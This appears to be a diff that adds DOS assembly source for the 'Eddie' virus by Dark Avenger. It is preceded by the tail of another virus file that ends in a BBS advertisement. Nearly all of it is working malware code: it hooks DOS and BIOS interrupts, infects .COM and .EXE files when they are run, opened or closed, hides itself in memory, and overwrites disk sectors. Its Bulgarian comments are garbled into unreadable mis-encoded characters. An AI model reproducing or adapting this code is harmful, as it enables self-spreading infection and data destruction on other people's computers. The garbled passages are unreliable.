||||
mov dx,word ptr [top_save+18h]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx
|
||||
mov ax,4201h
|
||||
int 21h
|
||||
mov word ptr [top_save+18h],ax
|
||||
mov word ptr [top_save+1ah],dx
|
||||
fuck_it:
|
||||
mov ax,5700h ;Get file's date
|
||||
int 21h
|
||||
pushf
|
||||
push cx
|
||||
push dx
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je exe_file ;Very clever, isn't it?
|
||||
mov ax,100h
|
||||
jmp short set_adr
|
||||
exe_file:
|
||||
mov ax,word ptr [top_save+14h]
|
||||
mov dx,word ptr [top_save+16h]
|
||||
set_adr:
|
||||
mov di,offset call_adr
|
||||
stosw
|
||||
mov ax,dx
|
||||
stosw
|
||||
mov ax,word ptr [top_save+10h]
|
||||
stosw
|
||||
mov ax,word ptr [top_save+0eh]
|
||||
stosw
|
||||
mov si,offset top_save ;This offers the possibilities to
|
||||
movsb ;some nasty programs to restore
|
||||
movsw ;exactly the original length
|
||||
xor dx,dx ;of the .EXE files
|
||||
mov cx,offset top_file
|
||||
mov ah,40h
|
||||
int 21h ;Write the virus
|
||||
jc go_no_fuck ;(don't trace here)
|
||||
xor cx,ax
|
||||
jnz go_no_fuck
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je do_exe
|
||||
mov byte ptr [top_save],0e9h
|
||||
mov ax,word ptr [top_save+18h]
|
||||
add ax,startup-copyright-3
|
||||
mov word ptr [top_save+1],ax
|
||||
mov cx,3
|
||||
jmp short write_header
|
||||
go_no_fuck:
|
||||
jmp short no_fuck
|
||||
|
||||
; Construct the .EXE file's header
|
||||
|
||||
do_exe:
|
||||
call mul_hdr
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jne calc_offs
|
||||
inc dx
|
||||
calc_offs:
|
||||
add ax,word ptr [top_save+18h]
|
||||
adc dx,word ptr [top_save+1ah]
|
||||
mov cx,10h
|
||||
div cx
|
||||
mov word ptr [top_save+14h],startup-copyright
|
||||
mov word ptr [top_save+16h],ax
|
||||
add ax,(offset top_file-offset copyright-1)/16+1
|
||||
mov word ptr [top_save+0eh],ax
|
||||
mov word ptr [top_save+10h],100h
|
||||
add word ptr [top_save+18h],offset top_file
|
||||
adc word ptr [top_save+1ah],0
|
||||
mov ax,word ptr [top_save+18h]
|
||||
and ax,1ffh
|
||||
mov word ptr [top_save+2],ax
|
||||
pushf
|
||||
mov ax,word ptr [top_save+19h]
|
||||
shr byte ptr [top_save+1bh],1
|
||||
rcr ax,1
|
||||
popf
|
||||
jz update_len
|
||||
inc ax
|
||||
update_len:
|
||||
mov word ptr [top_save+4],ax
|
||||
mov cx,18h
|
||||
write_header:
|
||||
mov dx,offset top_save
|
||||
mov ah,40h
|
||||
int 21h ;Write the file beginning
|
||||
no_fuck:
|
||||
pop dx
|
||||
pop cx
|
||||
popf
|
||||
jc stop_fuck
|
||||
mov ax,5701h ;Restore the original file date
|
||||
int 21h
|
||||
stop_fuck:
|
||||
ret
|
||||
|
||||
; The following is used by the INT 21h and INT 27h handlers in connection
|
||||
; to the program hiding in memory from those who don't need to see it.
|
||||
; The whole system is absurd and meaningless and it is also another source
|
||||
; for program conflicts.
|
||||
|
||||
alloc:
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'M'
|
||||
pop ds
|
||||
|
||||
; Assures that the program is the first one in the processes,
|
||||
; which have intercepted INT 21h (yet another source of conflicts).
|
||||
|
||||
ontop:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
lds dx,ds:[21h*4]
|
||||
cmp dx,offset int_21
|
||||
jne search_segment
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
je test_complete
|
||||
|
||||
; Searches the segment of the sucker who has intercepted INT 21h, in
|
||||
; order to find where it has stored the old values and to replace them.
|
||||
; Nothing is done for INT 27h.
|
||||
|
||||
xor bx,bx
|
||||
search_segment:
|
||||
mov ax,[bx]
|
||||
cmp ax,offset int_21
|
||||
jne search_next
|
||||
mov ax,cs
|
||||
cmp ax,[bx+2]
|
||||
je got_him
|
||||
search_next:
|
||||
inc bx
|
||||
jne search_segment
|
||||
je return_control
|
||||
got_him:
|
||||
mov ax,word ptr cs:[save_int_21]
|
||||
mov [bx],ax
|
||||
mov ax,word ptr cs:[save_int_21+2]
|
||||
mov [bx+2],ax
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
xor bx,bx
|
||||
|
||||
; Even if he has not saved them in the same segment, this won't help him.
|
||||
|
||||
return_control:
|
||||
mov ds,bx
|
||||
mov ds:[21h*4],offset int_21
|
||||
mov ds:[21h*4+2],cs
|
||||
test_complete:
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; Fetch the segment of the last MCB
|
||||
|
||||
get_chain:
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call function
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
next_blk:
|
||||
mov ds,bx
|
||||
stc
|
||||
adc bx,ds:[3]
|
||||
cmp bx,ax
|
||||
jc next_blk
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Multiply by 16
|
||||
|
||||
mul_hdr:
|
||||
mov ax,word ptr [top_save+8]
|
||||
mul_16:
|
||||
mov dx,10h
|
||||
mul dx
|
||||
ret
|
||||
|
||||
db 'This program was written in the city of Sofia '
|
||||
db '(C) 1988-89 Dark Avenger',0
|
||||
|
||||
; INT 13h handler.
|
||||
; Calls the original vectors in BIOS, if it's a writing call
|
||||
|
||||
int_13:
|
||||
cmp ah,3
|
||||
jnz subfn_ok
|
||||
cmp dl,80h
|
||||
jnc hdisk
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
my_size: ;--- Up to here comparison
|
||||
disk: ; with the original is made
|
||||
dd 0
|
||||
hdisk:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
fdisk:
|
||||
dd 0
|
||||
subfn_ok:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
save_int_13:
|
||||
dd 0
|
||||
call_adr:
|
||||
dd 100h
|
||||
|
||||
stack_pointer:
|
||||
dd 0 ;The original value of SS:SP
|
||||
my_save:
|
||||
int 20h ;The original contents of the first
|
||||
nop ;3 bytes of the file
|
||||
top_file: ;--- Up to here the code is written
|
||||
filehndl equ $ ; in the files
|
||||
filename equ filehndl+2 ;Buffer for the name of the opened file
|
||||
save_int_27 equ filename+65 ;Original INT 27h vector
|
||||
save_int_21 equ save_int_27+4 ;Original INT 21h vector
|
||||
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
|
||||
top_save equ save_int_21+4 ;Beginning of the buffer, that contains
|
||||
; - The first 24 bytes read from file
|
||||
; - File length (4 bytes)
|
||||
; - The last bytes of the file
|
||||
; (my_size bytes)
|
||||
top_bz equ top_save-copyright
|
||||
my_bz equ my_size-copyright
|
||||
|
||||
code ends
|
||||
end
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
|
@ -0,0 +1,977 @@
|
|||
;************************
|
||||
;* *
|
||||
;* E D D I E *
|
||||
;* *
|
||||
;* by Dark Avenger *
|
||||
;* *
|
||||
;* 3-JAN-1989 *
|
||||
;* *
|
||||
;* version 1.31x *
|
||||
;* *
|
||||
;************************
|
||||
|
||||
|
||||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||||
|
||||
; <20>°¥¤ ¢ ± ±²®¨ ®°¨£¨ «¨¿² ²¥ª±² ¥¤¨ ®² ¯º°¢¨²¥ ¡º«£ °±ª¨ ¢¨°³±¨. Š ª²®
|
||||
; ¬®¦¥ ¡¨ ¹¥ § ¡¥«¥¦¨²¥, ²®© ¥ ¯º«¥ ± £«³¯®±²¨ ¨ £°¥¸ª¨, ® ¢º¯°¥ª¨ ²®¢ ¥
|
||||
; ± ¬® ·¥ ±¥ ° §¯°®±²° ¨ ³·³¤¢ ¹® ¡º°§® ¨§ ±²° ² , ® ¨ ³±¯¿ § ª° ²ª® ¢°¥¬¥
|
||||
; ¤ ®¡¨ª®«¨ ±¢¥² (’®© ¥ ° §¯°®±²° ¥ ª ª²® ¢ ˆ§²®· ¨ ‡ ¯ ¤ …¢°®¯ , ² ª ¨
|
||||
; ¢ €¬¥°¨ª ). ’¥ª±²º² ±¥ ° §¯°®±²° ¿¢ ¯º«® ±¢®¡®¤® ¯® ±«³· © 1 £®¤¨ ®²
|
||||
; § ¢º°¸¢ ¥²® ¡ §®¢ ² ¬³ ¢¥°±¨¿. ‚¨¥ ¨¬ ²¥ ¯° ¢® ¤ ° §¯°®±²° ¿¢ ²¥
|
||||
; ²¥ª±² ª ª²® ¡¥§¯« ²®, ² ª ¨ ±°¥¹³ § ¯« ¹ ¥ ± ¥¤¨±²¢¥®²® ³±«®¢¨¥ ²®©
|
||||
; ¨§®¡¹® ¤ ¥ ¥ ¯°®¬¥¿. Š®©²® ³¬¨¸«¥® ° §¯°®±²° ¿¢ ¯°®¬¥¥ ¯® ¿ª ªº¢
|
||||
; ·¨ ²¥ª±², ¢º°¸¨ ²®¢ ¯°®²¨¢ ¦¥« ¨¥²® ¢²®° ¨ ¹¥ ¡º¤¥ ª § ! ‚º¯°¥ª¨
|
||||
; ²®¢ , ¢²®°º² ¹¥ ±¥ ° ¤¢ ª® ¿ª®© ®² ¢ ± ¨§¢º°¸¨ ¯®¤®¡°¥¨¿ ¢ ²¥ª±² ¨
|
||||
; ° §¯°®±²° ¿¢ ¯®«³·¥¨¿ ¨§¯º«¨¬ ´ ©« (².¥. ± ¬¨¿² ¢¨°³±). Ž¡º°¥²¥
|
||||
; ¢¨¬ ¨¥, ·¥ ±«¥¤ ±¥¬¡«¨° ¥²® ¯®«³·¥¨¿² .COM ´ ©« ¥ ¬®¦¥ ¤ ¡º¤¥
|
||||
; ±² °²¨° . ‡ ¶¥«² ²°¿¡¢ ¤ ±º§¤ ¤¥²¥ ´ ©« ± ¤º«¦¨ 3 ¡ ©² , ±º¤º°¦ ¹
|
||||
; ¸¥±² ©±¥²¨·¨²¥ ·¨±« 0e9h, 68h, 0 ¨ ±«¥¤ ²®¢ ¤ ®¡¥¤¨¨²¥ ¤¢ ² ´ ©« . <20>¥
|
||||
; ±¥ ®¯¨²¢ ©²¥ ¤ ¯®±² ¢¨²¥ ¨±²°³ª¶¨¿ JMP ¢ · «®²® ²¥ª±² .
|
||||
|
||||
|
||||
; <20><>…„“<E2809E><E2809C>…†„…<E2809E>ˆ…: €¢²®°º² ¥ ¯®¥¬ ¨ª ª¢ ®²£®¢®°®±² § ¤¨°¥ª²® ¨«¨
|
||||
; ¨¤¨°¥ª²® ¥±¥¨ ¹¥²¨, ¯°¥¤¨§¢¨ª ¨ ®² ¨§¯®«§¢ ¥²® ¨«¨ ¥¨§¯®«§³¢ ¥²®
|
||||
; ²®§¨ ²¥ª±² ¨«¨ ¯®«³·¥¨¿ ¯°¨ ±¥¬¡«¨° ¥ ª®¤. <20>¨ª ª¢ £ ° ¶¨¿ ¥ ±¥ ¤ ¢
|
||||
; § ´³ª¶¨®¨° ¥²® ¨«¨ ª ·¥±²¢®²® ¯°®¤³ª² .
|
||||
|
||||
; <20>¥ ¬®£ ¤ ¥ ±¥ ¢º§¤º°¦ ¤ ¨§ª ¦ ±¯¥¶¨ « ² ±¨ ¡« £®¤ °®±² ¬®¿
|
||||
; ¯®¯³«¿°¨§ ²®° ¨¦. ‚¥±¥«¨ <20>®·¥¢, ª®©²® ¬¨ ¯° ¢¨ £®«¿¬ °¥ª« ¬ ¨ ®±¢¥
|
||||
; ²®¢ , ¨±ª ©ª¨ ¨«¨ ¥, ²®© ±º¤¥©±²¢³¢ ¬®£® § ° §¯°®±²° ¿¢ ¥²® ¬®¨²¥
|
||||
; ¢¨°³±¨ ¢º¯°¥ª¨, ·¥ ±¥ ®¯¨²¢ ¤ ¯° ¢¨ ²®·® ®¡° ²®²® (¯¨± ¥²® ¯°®£° ¬¨
|
||||
; C ¨ª®£® ¥ ¥ ¤®¢¥«® ¤® ¤®¡°®).
|
||||
; <20>®§¤° ¢¨ ¢±¨·ª¨ ¢¨°³±®¯¨± ·¨!
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
copyright:
|
||||
db 'Eddie lives...somewhere in time!',0
|
||||
date_stamp:
|
||||
dd 12239000h
|
||||
checksum:
|
||||
db 30
|
||||
|
||||
; ‚°º¹ ¥ ³¯° ¢«¥¨¥²® .EXE ´ ©«:
|
||||
; ‚º§±² ®¢¿¢ DS=ES=PSP, § °¥¦¤ SS:SP ¨ CS:IP.
|
||||
|
||||
exit_exe:
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+call_adr+2]
|
||||
mov word ptr cs:[si+patch+2],bx
|
||||
mov bx,word ptr cs:[si+call_adr]
|
||||
mov word ptr cs:[si+patch],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+stack_pointer+2]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[si+stack_pointer]
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
patch:
|
||||
dd 0
|
||||
|
||||
; ‚°º¹ ¥ ³¯° ¢«¥¨¥²® .COM ´ ©«:
|
||||
; ‚º§±² ®¢¿¢ 3-²¥ ¡ ©² ¢ · «®²® ´ ©« , § °¥¦¤ SP ¨ IP.
|
||||
|
||||
exit_com:
|
||||
mov di,100h
|
||||
add si,offset my_save
|
||||
movsb
|
||||
movsw
|
||||
mov sp,ds:[6] ;’®¢ ¥ ¥¯° ¢¨«®
|
||||
xor bx,bx
|
||||
push bx
|
||||
jmp [si-11] ;si+call_adr-top_file
|
||||
|
||||
; ‚µ®¤ ²®·ª ¯°®£° ¬ ² .
|
||||
|
||||
startup:
|
||||
call relative
|
||||
relative:
|
||||
pop si ;SI = $
|
||||
sub si,offset relative
|
||||
cld
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
je exe_ok
|
||||
cli
|
||||
mov sp,si ;‡ .COM ´ ©«®¢¥²¥ ±¥ ¯®¤¤º°¦ ®²¤¥«¥
|
||||
add sp,offset top_file+100h ;±²¥ª, § ¤ ¥ ±¥ ¯°¥¬¥±²¨ ¯°®£° ¬ ²
|
||||
sti ;¢º°µ³ ±²¥ª
|
||||
cmp sp,ds:[6]
|
||||
jnc exit_com
|
||||
exe_ok:
|
||||
push ax
|
||||
push es
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
|
||||
; <20> ¬¨° ¥ ¤°¥± INT 13h ¢ ROM-BIOS
|
||||
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+fdisk],ax
|
||||
mov word ptr cs:[si+fdisk+2],es
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov word ptr cs:[si+disk+2],es
|
||||
mov ax,ds:[40h*4+2] ;‚ INT 40h ±¥ § ¯ §¢ ¤°¥± INT 13h
|
||||
cmp ax,0f000h ;§ ¤¨±ª¥²¨ ¯°¨ «¨·¨¥ ²¢º°¤ ¤¨±ª
|
||||
jne nofdisk
|
||||
mov word ptr cs:[si+disk+2],ax
|
||||
mov ax,ds:[40h*4]
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov dl,80h
|
||||
mov ax,ds:[41h*4+2] ;INT 41h ®¡¨ª®¢¥® ±®·¨ ¢ ±¥£¬¥² ,
|
||||
cmp ax,0f000h ;ªº¤¥²® ¥ ®°¨£¨ «¨¿ INT 13h ¢¥ª²®°
|
||||
je isfdisk
|
||||
cmp ah,0c8h
|
||||
jc nofdisk
|
||||
cmp ah,0f4h
|
||||
jnc nofdisk
|
||||
test al,7fh
|
||||
jnz nofdisk
|
||||
mov ds,ax
|
||||
cmp ds:[0],0aa55h
|
||||
jne nofdisk
|
||||
mov dl,ds:[2]
|
||||
isfdisk:
|
||||
mov ds,ax
|
||||
xor dh,dh
|
||||
mov cl,9
|
||||
shl dx,cl
|
||||
mov cx,dx
|
||||
xor si,si
|
||||
findvect:
|
||||
lodsw ;Ž¡¨ª®¢¥® § ¯®·¢ ±:
|
||||
cmp ax,0fa80h ; CMP DL,80h
|
||||
jne altchk ; JNC ¿ªº¤¥
|
||||
lodsw
|
||||
cmp ax,7380h
|
||||
je intchk
|
||||
jne nxt0
|
||||
altchk:
|
||||
cmp ax,0c2f6h ;¨«¨ ±:
|
||||
jne nxt ; TEST DL,80h
|
||||
lodsw ; JNZ ¿ªº¤¥
|
||||
cmp ax,7580h
|
||||
jne nxt0
|
||||
intchk:
|
||||
inc si ;±«¥¤ ª®¥²® ¨¬ :
|
||||
lodsw ; INT 40h
|
||||
cmp ax,40cdh
|
||||
je found
|
||||
sub si,3
|
||||
nxt0:
|
||||
dec si
|
||||
dec si
|
||||
nxt:
|
||||
dec si
|
||||
loop findvect
|
||||
jmp short nofdisk
|
||||
found:
|
||||
sub si,7
|
||||
mov word ptr cs:[di+fdisk],si
|
||||
mov word ptr cs:[di+fdisk+2],ds
|
||||
nofdisk:
|
||||
mov si,di
|
||||
pop ds
|
||||
|
||||
; <20>°®¢¥°ª ¤ «¨ ¯°®£° ¬ ² ¥ °¥§¨¤¥²
|
||||
|
||||
les ax,ds:[21h*4]
|
||||
mov word ptr cs:[si+save_int_21],ax
|
||||
mov word ptr cs:[si+save_int_21+2],es
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,offset int_21
|
||||
jne bad_func
|
||||
xor di,di
|
||||
mov cx,offset my_size
|
||||
scan_func:
|
||||
lodsb
|
||||
scasb
|
||||
jne bad_func
|
||||
loop scan_func
|
||||
pop es
|
||||
jmp go_program
|
||||
|
||||
; <20>°¥¬¥±²¢ ¥ ¯°®£° ¬ ² ¢ £®°¨¿ ª° © ¯ ¬¥²²
|
||||
; (²³ª ¥ ¯º«® ± £«³¯®±²¨ ¨ £°¥¸ª¨)
|
||||
|
||||
bad_func:
|
||||
pop es
|
||||
mov ah,49h
|
||||
int 21h
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h
|
||||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||||
jc go_program
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||||
stc
|
||||
sbb es:[2],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[1],8
|
||||
call mul_16
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call mul_16
|
||||
add ax,ds:[6]
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc mem_ok
|
||||
sub ds:[6],ax ;<3B> ¬ «¿¢ ¥ £®«¥¬¨ ² ±¥£¬¥²
|
||||
mem_ok:
|
||||
pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di
|
||||
mov ds,di
|
||||
lds ax,ds:[27h*4]
|
||||
mov word ptr cs:[si+save_int_27],ax
|
||||
mov word ptr cs:[si+save_int_27+2],ds
|
||||
pop ds
|
||||
mov cx,offset aux_size
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[21h*4],offset int_21;<3B>°¥µ¢ ¹ ¥ INT 21h ¨ INT 27h
|
||||
mov ds:[21h*4+2],es
|
||||
mov ds:[27h*4],offset int_27
|
||||
mov ds:[27h*4+2],es
|
||||
mov word ptr es:[filehndl],ax
|
||||
pop es
|
||||
go_program:
|
||||
pop si
|
||||
|
||||
; ‡ ¬ §¢ ¥ ±«¥¤¢ ¹¨¿ ±¥ª²®° ®² ¤¨±ª
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+save_int_13],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr cs:[si+save_int_13+2],ax
|
||||
mov ds:[13h*4],offset int_13
|
||||
add ds:[13h*4],si
|
||||
mov ds:[13h*4+2],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,ds:[2ah]
|
||||
xor si,si
|
||||
mov dx,si
|
||||
scan_envir: ;<3B> ¬¨° ¨¬¥²® ¯°®£° ¬ ²
|
||||
lodsw ;(±º± DOS 2.x ¨ ¡¥§ ¤°³£® ¥ ° ¡®²¨)
|
||||
dec si
|
||||
test ax,ax
|
||||
jnz scan_envir
|
||||
add si,3
|
||||
lodsb
|
||||
|
||||
; ‘«¥¤¢ ¹ ² ¨±²°³ª¶¨¿ ¥ ¯º« £«³¯®±². Ž¯¨² ©²¥ ¤ ±¨ ¯¨¸¥²¥ path- ±
|
||||
; ¬ «ª¨ ¡³ª¢¨, ±«¥¤ ²®¢ ¯³±¥²¥ § ° §¥ ¯°®£° ¬ ®² ² ¬. ‚ °¥§³«² ²
|
||||
; £°¥¸ª ² ²³ª + £°¥¸ª ¢ DOS ±«¥¤¢ ¹¨¿² ±¥ª²®° ¥ ±¥ § ¬ §¢ , ® ±¥
|
||||
; § ¬ §¢ ² ¤¢ ¡ ©² ¢ ¯ ¬¥²² , ©-¢¥°®¿²® ¢º°µ³ § ° §¥ ² ¯°®£° ¬ .
|
||||
|
||||
sub al,'A'
|
||||
mov cx,1
|
||||
push cs
|
||||
pop ds
|
||||
add bx,offset int_27
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc byte ptr [bx+0ah]
|
||||
and byte ptr [bx+0ah],0fh ;ˆ§£«¥¦¤ 15 ¯º²¨ ¥¯° ¢¥¥ ¨¹® ¥ ¬®£®
|
||||
jnz store_sec ;¬ «ª® § ¿ª®¨ µ®°
|
||||
mov al,[bx+10h]
|
||||
xor ah,ah
|
||||
mul word ptr [bx+16h]
|
||||
add ax,[bx+0eh]
|
||||
push ax
|
||||
mov ax,[bx+11h]
|
||||
mov dx,32
|
||||
mul dx
|
||||
div word ptr [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,[bx+8]
|
||||
add ax,40h
|
||||
cmp ax,[bx+13h]
|
||||
jc store_new
|
||||
inc ax
|
||||
and ax,3fh
|
||||
add ax,dx
|
||||
cmp ax,[bx+13h]
|
||||
jnc small_disk
|
||||
store_new:
|
||||
mov [bx+8],ax
|
||||
store_sec:
|
||||
pop ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h
|
||||
|
||||
; ‡ ¯¨±º² ¯°¥§ ²®¢ ¯°¥ªº±¢ ¥ ¥ ¥ ©-³¬®²® ¥¹®, § ¹®²® ²® ¬®¦¥ ¤ ¡º¤¥
|
||||
; ¯°¥µ¢ ²® (ª ª²® ¥ ³±¯¿« ¤ § ¡¥«¥¦¨ ‚¥±¥«¨ <20>®·¥¢)
|
||||
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp byte ptr [bx+0ah],0
|
||||
jne not_now
|
||||
mov dx,[bx+8]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h
|
||||
small_disk:
|
||||
pop ax
|
||||
not_now:
|
||||
pop si
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr cs:[si+save_int_13]
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,word ptr cs:[si+save_int_13+2]
|
||||
mov ds:[13h*4+2],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
jne go_exit_com
|
||||
jmp exit_exe
|
||||
go_exit_com:
|
||||
jmp exit_com
|
||||
int_24:
|
||||
mov al,3 ;’ §¨ ¨±²°³ª¶¨¿ ¨§£«¥¦¤ ¨§«¨¸
|
||||
iret
|
||||
|
||||
; Ž¡° ¡®²ª INT 27h (²®¢ ¥ ¥®¡µ®¤¨¬®)
|
||||
|
||||
int_27:
|
||||
pushf
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_27]
|
||||
|
||||
; <20>°¨ DOS-´³ª¶¨¨²¥ Set & Get Vector ±¥ ° ¡®²¨ ª ²® ·¥ «¨ ¯°®£° ¬ ² ¥ £¨ ¥
|
||||
; ¯°¥µ¢ « (²®¢ ¥ ±º¬¨²¥«® ¯°¥¤¨¬±²¢® ¨ ¥ ¥¤¨ ¢º§¬®¦¥ ¨§²®·¨ª
|
||||
; ¥¤®° §³¬¥¨¿ ± ¿ª®¨ "¨²¥«¨£¥²¨" ¯°®£° ¬¨)
|
||||
|
||||
set_int_27:
|
||||
mov word ptr cs:[save_int_27],dx
|
||||
mov word ptr cs:[save_int_27+2],ds
|
||||
popf
|
||||
iret
|
||||
set_int_21:
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
popf
|
||||
iret
|
||||
get_int_27:
|
||||
les bx,dword ptr cs:[save_int_27]
|
||||
popf
|
||||
iret
|
||||
get_int_21:
|
||||
les bx,dword ptr cs:[save_int_21]
|
||||
popf
|
||||
iret
|
||||
|
||||
exec:
|
||||
call do_file
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_21]
|
||||
|
||||
db 'Diana P.',0
|
||||
|
||||
; Ž¡° ¡®²ª INT 21h. Ž±º¹¥±²¢¿¢ § ° §¿¢ ¥²® ´ ©«®¢¥²¥
|
||||
; ¯°¨ ¨§¯º«¥¨¥, ª®¯¨° ¥, ° §£«¥¦¤ ¥ ¨«¨ ±º§¤ ¢ ¥ ¨ ¿ª®¨ ¤°³£¨ ®¯¥° ¶¨¨.
|
||||
; ˆ§¯º«¥¨¥²® ´³ª¶¨¨ 0 ¨ 26h ¯°¥¤¨§¢¨ª¢ «®¸¨ ¯®±«¥¤¨¶¨.
|
||||
|
||||
int_21:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push [bp+6]
|
||||
popf
|
||||
pop bp
|
||||
pushf
|
||||
call ontop
|
||||
cmp ax,2521h
|
||||
je set_int_21
|
||||
cmp ax,2527h
|
||||
je set_int_27
|
||||
cmp ax,3521h
|
||||
je get_int_21
|
||||
cmp ax,3527h
|
||||
je get_int_27
|
||||
cld
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3ch
|
||||
je create
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,5bh
|
||||
jne not_create
|
||||
create:
|
||||
cmp word ptr cs:[filehndl],0;Œ®¦¥ ¨ ¤ ¥ 0 ¯°¨ ®²¢®°¥ ´ ©«
|
||||
jne dont_touch
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,offset filehndl
|
||||
stosw
|
||||
mov si,dx
|
||||
mov cx,65
|
||||
move_name:
|
||||
lodsb
|
||||
stosb
|
||||
test al,al
|
||||
jz all_ok
|
||||
loop move_name
|
||||
mov word ptr es:[filehndl],cx
|
||||
all_ok:
|
||||
pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
go_exit:
|
||||
popf
|
||||
jnc int_exit ;JMP
|
||||
close:
|
||||
cmp bx,word ptr cs:[filehndl]
|
||||
jne dont_touch
|
||||
test bx,bx
|
||||
jz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,offset filehndl+2
|
||||
call do_file
|
||||
mov word ptr cs:[filehndl],0
|
||||
pop dx
|
||||
pop ds
|
||||
jmp go_exit
|
||||
not_create:
|
||||
cmp ah,3dh
|
||||
je touch
|
||||
cmp ah,43h
|
||||
je touch
|
||||
cmp ah,56h ;‡ ±º¦ «¥¨¥ ª®¬ ¤¨¿ ¨²¥°¯°¥² ²®°
|
||||
jne dont_touch ;¥ ¨§¯®«§³¢ ² §¨ ´³ª¶¨¿
|
||||
touch:
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call do_file
|
||||
dont_touch:
|
||||
call alloc
|
||||
popf
|
||||
call function
|
